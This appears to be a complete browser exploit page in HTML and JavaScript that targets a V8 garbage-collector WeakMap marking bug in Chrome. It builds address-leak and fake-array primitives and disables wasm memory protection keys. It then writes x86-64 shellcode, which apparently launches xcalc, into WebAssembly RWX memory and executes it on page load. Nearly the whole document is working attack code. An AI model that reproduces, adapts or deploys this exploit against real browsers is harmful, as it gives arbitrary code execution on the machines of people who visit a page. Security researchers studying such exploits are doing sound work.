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360 lines (309 loc) · 10.3 KB
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<html>
<head>
<script>
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 100;
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
var mapAddr = 0x82430e1;
//Offset from OfflineAudioContext18wrapper_type_info to FLAG_wasm_memory_protection_keys
var wasmMemoryProtectionKeysOffset = 0xa9526n;
var audioContext = new OfflineAudioContext(1, 4000, 4000);
var rwxOffset = 0x60;
var blinkPtrOffset = 0x4;
var typedArrayPtrOffset = 0x20;
var arrayBufOffset = 0x14;
var dataViewLengthOffset = 0x10;
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
var buf = new ArrayBuffer(0x1000);
var dataView = new DataView(buf);
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}
function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xbb, 0x6c, 0x63, 0x00, 0x00, 0x53, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x53, 0x54, 0x5f, 0x56, 0x57, 0x54, 0x5e, 0xbb, 0x3a, 0x30, 0x2e, 0x30, 0x53, 0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xf, 0x5];
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = new WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {'h' : i};
//make thisKey reachable via prevKey
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
let retMap = new WeakMap();
map.set(thisKey, retMap);
return thisKey;
}
}
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
return thisKey;
}
}
}
function setUpWeakMap(map) {
//Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
//hk->k5, k5: discover->wl
let k5 = {k5 : 1};
let map5 = new WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
let v9 = {ta : ta, larr : larr};
map.set(k7, map7);
map.set(k9, v9);
//map3 : kb|vb: initial discovery ->wl
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
map5.set(hk, k7);
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1
//wl discovers map8, and mark k8 black
map7.set(k8, map8);
map7.set(k7, k8);
//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
map8.set(k8,k9);
}
function gc() {
//trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
new ArrayBuffer(gcSize);
}
function handleEvents(event) {
if (event.data == "childDone") {
wasmMain();
}
}
function restart() {
//Should deopt main if it gets optimized
global.__proto__ = {};
gc();
sleep(2000);
main();
}
function addrOf(obj, objArr, objArrIdx, larr, index) {
let thisArr = objArr[objArrIdx];
thisArr.fill(obj);
return ftoi32(larr[index])[0];
}
function main() {
setUpWeakMap(map1);
gc();
let objArr = [];
for (let i = 0; i < sprayParam; i++) {
let thisArr = new Array(1 << 15);
objArr.push(thisArr);
}
//These are there to stop main being optimized by JIT
globalIdx['a' + globalIdx] = 1;
//Can't refactor this, looks like it cause some double rounding problem (got optimized?)
for (let i = 0; i < objArr.length; i++) {
let thisArr = objArr[i];
thisArr.fill(audioContext);
}
globalIdx['a' + globalIdx + 1000] = 1;
let result = null;
try {
result = fetch();
} catch (e) {
console.log("fetch failed");
restart();
return;
}
if (!result) {
console.log("fail to find object address.");
restart();
return;
}
let larr = result.larr;
let index = result.idx;
let audioContextAddr = ftoi32(larr[index])[0];
let audioContextFloatAddr = larr[index];
console.log("found audioContext address: 0x" + audioContextAddr.toString(16) + " at index: " + index);
let x = {};
for (let i = 0; i < objArr.length; i++) {
let thisArr = objArr[i];
thisArr.fill(x);
}
globalIdx['a' + globalIdx + 5000] = 1;
larr[index] = audioContextFloatAddr;
let objArrIdx = -1;
let thisArrIdx = -1;
for (let i = 0; i < objArr.length; i++) {
globalIdx['a' + globalIdx + 3000] = 1;
global.__proto__ = {};
let thisArr = objArr[i];
for (let j = 0; j < thisArr.length; j++) {
let thisObj = thisArr[j];
if (thisObj == audioContext) {
console.log("found instance object at: " + i + " index: " + j);
objArrIdx = i;
thisArrIdx = j;
}
}
}
globalIdx['a' + globalIdx + 4000] = 1;
if (objArrIdx == -1) {
console.log("failed getting fake object index.");
restart();
return;
}
let obj = [1.1,1.1,1.1];
let thisArr = objArr[objArrIdx];
thisArr.fill(obj);
globalIdx['a' + globalIdx + 2000] = 1;
let addr = ftoi32(larr[index])[0];
let objEleAddr = addr + 0x18 + 0x8;
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
//Faking an array at using obj[0] and obj[1]
obj[0] = floatMapAddr;
let eleLength = i32tof(audioContextAddr + blinkPtrOffset, 10);
obj[1] = eleLength;
larr[index] = floatAddr;
console.log("array address: 0x" + addr.toString(16));
console.log("array element address: 0x" + objEleAddr.toString(16));
let typeInfoAddr = 0;
let fakeArray = objArr[objArrIdx][thisArrIdx];
if (!(fakeArray instanceof Array)) {
console.log("fail getting fake array.");
restart();
return;
}
typeInfoAddr = fakeArray[0];
console.log("OfflineAudioContextWrapperTypeInfo address at: 0x" + ftoi(typeInfoAddr).toString(16));
if (typeInfoAddr == 0) {
console.log("failed getting typeInfo address.");
restart();
return;
}
//Use to get isolate root to write to avoid double rounding issues:
// https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #4: Leaking the Pointer Compression Isolate Root)
let helperArray = new Uint8Array(10);
let helperAddr = addrOf(helperArray, objArr, objArrIdx, larr, index);
console.log("helperArray addr: 0x" + helperAddr.toString(16));
obj[1] = i32tof(helperAddr + typedArrayPtrOffset, 10);
let isolate_root = ftoi32(fakeArray[0])[1];
global['a' + globalIdx + 2000] = {};
//Read shellArray address
let shellArray = new Uint8Array(100);
let shellAddr = addrOf(shellArray, objArr, objArrIdx, larr, index);
console.log("shellArray addr: 0x" + shellAddr.toString(16));
var shellBufAddr = shellAddr + typedArrayPtrOffset + 0x8 - 1;
let bufAddr = addrOf(buf, objArr, objArrIdx, larr, index);
obj[1] = i32tof(bufAddr + arrayBufOffset, 10);
fakeArray[0] = i32tof(shellBufAddr, isolate_root);
let tmp = ftoi32(fakeArray[0]);
//Overwrite FLAG_wasm_memory_protection_keys to zero
var wasmAddress = ftoi(typeInfoAddr) + wasmMemoryProtectionKeysOffset;
dataView.setBigUint64(0, BigInt(wasmAddress), true);
shellArray[0] = 0;
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
wasmMain = instance.exports.main;
thisArr = objArr[objArrIdx];
thisArr.fill(instance);
let instanceAddr = ftoi32(larr[index])[0];
console.log("instance addr: 0x" + instanceAddr.toString(16));
obj[1] = i32tof(instanceAddr + rwxOffset, 10);
let rwxAddr = fakeArray[0];
console.log("rwx address: 0x" + ftoi(rwxAddr).toString(16));
obj[1] = i32tof(shellAddr + typedArrayPtrOffset, 10);
fakeArray[0] = rwxAddr;
console.log("write shell code");
for (let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
console.log("run shell code");
parent.postMessage("done", "*");
}
function findTA(ta) {
let found = false;
for (let i = 0; i < 16; i++) {
if (ta[i] != 0xfe) {
console.log(ta[i]);
return true;
}
}
console.log(ta[0]);
return found;
}
function findLArr(larr) {
for (let i = 0; i < (1 << 15); i++) {
if (larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return i;
}
}
return -1;
}
function fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
let larr = map1.get(map8.get(k8)).larr;
let index = findLArr(larr);
if (index == -1) {
return;
}
return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
window.addEventListener("message", handleEvents);
</script>
</head>
<body onload="main()">
</body>
</html>